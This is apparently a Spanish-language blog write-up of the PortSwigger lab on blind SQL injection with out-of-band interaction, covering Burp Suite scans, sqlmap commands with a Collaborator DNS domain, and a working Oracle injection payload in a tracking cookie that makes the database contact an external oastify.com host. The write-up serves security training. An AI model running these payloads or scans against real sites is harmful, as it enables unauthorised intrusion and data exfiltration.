Entrada

Blind SQL injection with out-of-band interaction

Laboratorio de Portswigger sobre SQLI

Blind SQL injection with out-of-band interaction

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Este laboratorio contiene una Blind SQL Injection, la aplicación utiliza una cookie de seguimiento para análisis y realiza una consulta SQL que incluye el valor de la cookie enviada. La consulta SQL se ejecuta de forma asíncrona y no afecta la respuesta de la aplicación. Sin embargo, puedes desencadenar interacciones out-of-band con un dominio externo. Para resolver el laboratorio, hay que explotar la vulnerabilidad de inyección SQL para provocar una consulta DNS a Burp Collaborator


Guía de SQLI

Antes de completar este laboratorio es recomendable leerse esta guía de SQLI https://justice-reaper.github.io/posts/SQLI/

Resolución

Al acceder a la web nos sale esto

Hay algunas Out-of-Band SQL Injections que no pueden ser detectadas o explotadas por sqlmap. En estas situaciones podemos realizar un escaneo completo con Burpsuite para detectarlas, para ello, debemos capturar la petición y pulsar click derecho > Scan

Posteriormente se nos abrirá esta ventana, en la cual debemos de seleccionar la opción Crawl and audit

Posteriormente deberemos seleccionar la configuración del escaneo. Recomendaría usar Deep, ya que, es el más completo. Una vez seleccionadas estas opciones pulsamos sobre Scan

Si nos dirigimos a Dashboard veremos que nos detecta la inyección SQL

Otra opción más específica es escanear los insertion points. Para ello, enviamos la petición al Intruder y seleccionamos los insertion points a analizar

Posteriormente pulsamos click derecho > Scan defined insertion points > Open scan launcher, seleccionamos Audit selected items y pulsamos sobre Scan

Si nos dirigimos a Dashboard veremos que también nos detecta la inyección SQL

También es posible detectar las Out-of-Band SQL Injections mediante sqlmap. Para ello, necesitamos instalar la extensión de Burpsuite llamada SQLMAP DNS Collaborator

Una vez instalada nos dirigimos a Extensions > Installed y pulsamos sobre el nombre de la extensión. Vemos que en la primera línea nos muestra un servidor --dns-domain=gm6n1v54k2yapzbqc1di32ti59bzzo.oastify.com, este es el que debemos usar al ejecutar sqlmap

Cada vez que queramos un nuevo servidor debemos pulsar sobre el cuadro de texto de la extensión para desactivarla y luego pulsar nuevamente para cargarla

Ejecutamos sqlmap con sudo

1
# sudo sqlmap -u https://0a8000ee030f0a7b80b708ab00fe001a.web-security-academy.net/ --risk=3 --level=5 --random-agent --batch --dbs --cookie="TrackingId=ltMxaizgXCdtiCXN*; session=ekfByIBkIPxRiuEoPiRItaXMNC3HwXSB" --dns-domain=gm6n1v54k2yapzbqc1di32ti59bzzo.oastify.com --dbms oracle

Si encuentra algo, se mostrará en el apartado de Show in UI

Como alternativa, podemos usar sqlmapsh https://github.com/unlock-security/sqlmapsh.git. Se usaría de la misma forma que sqlmap, pero no es necesario proporcionar el parámetro --dns-domain, ya que lo hace internamente

1
# sudo sqlmapsh -u https://0a8000ee030f0a7b80b708ab00fe001a.web-security-academy.net --risk=3 --level=5 --random-agent --dbs --batch --cookie="TrackingId=ltMxaizgXCdtiCXN*; session=ekfByIBkIPxRiuEoPiRItaXMNC3HwXSB"

Este laboratorio no se puede resolver usando sqlmap o sqlmapsh. La única forma que hay de identificar la inyección SQL es manualmente o mediante el escáner de Burpsuite. Si capturamos la petición a la web con Burpsuite vemos un campo llamado TrackingId, probando los payload de https://portswigger.net/web-security/sql-injection/cheat-sheet. En este caso vamos a usar este payload

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual)-- - 

Antes de enviar la petición debemos hacer click en Collaborator > Copy to clipboard. Sustituimos el campo BURP-COLLABORATOR-SUBDOMAIN por el subdominio copiado

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://ek2f0ugba257uzxtntvmsb5twk2bq2er.oastify.com/"> %remote;]>'),'/l') FROM dual)-- - ; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS

Una vez hecho esto debemos urlencodear el payload y enviar la petición

1
Cookie: TrackingId=3PXv4G829apHPMFP'||(SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//ek2f0ugba257uzxtntvmsb5twk2bq2er.oastify.com/">+%25remote%3b]>'),'/l')+FROM+dual)--+-+; session=Wzj5q2TCt35NSwZENA7h1HRazosSb9fS

Si nos dirigimos a la parte de Collaborator y pulsamos en Poll now nos llegarán las peticiones a nuestro servidor

Esta entrada está licenciada bajo CC BY 4.0 por el autor.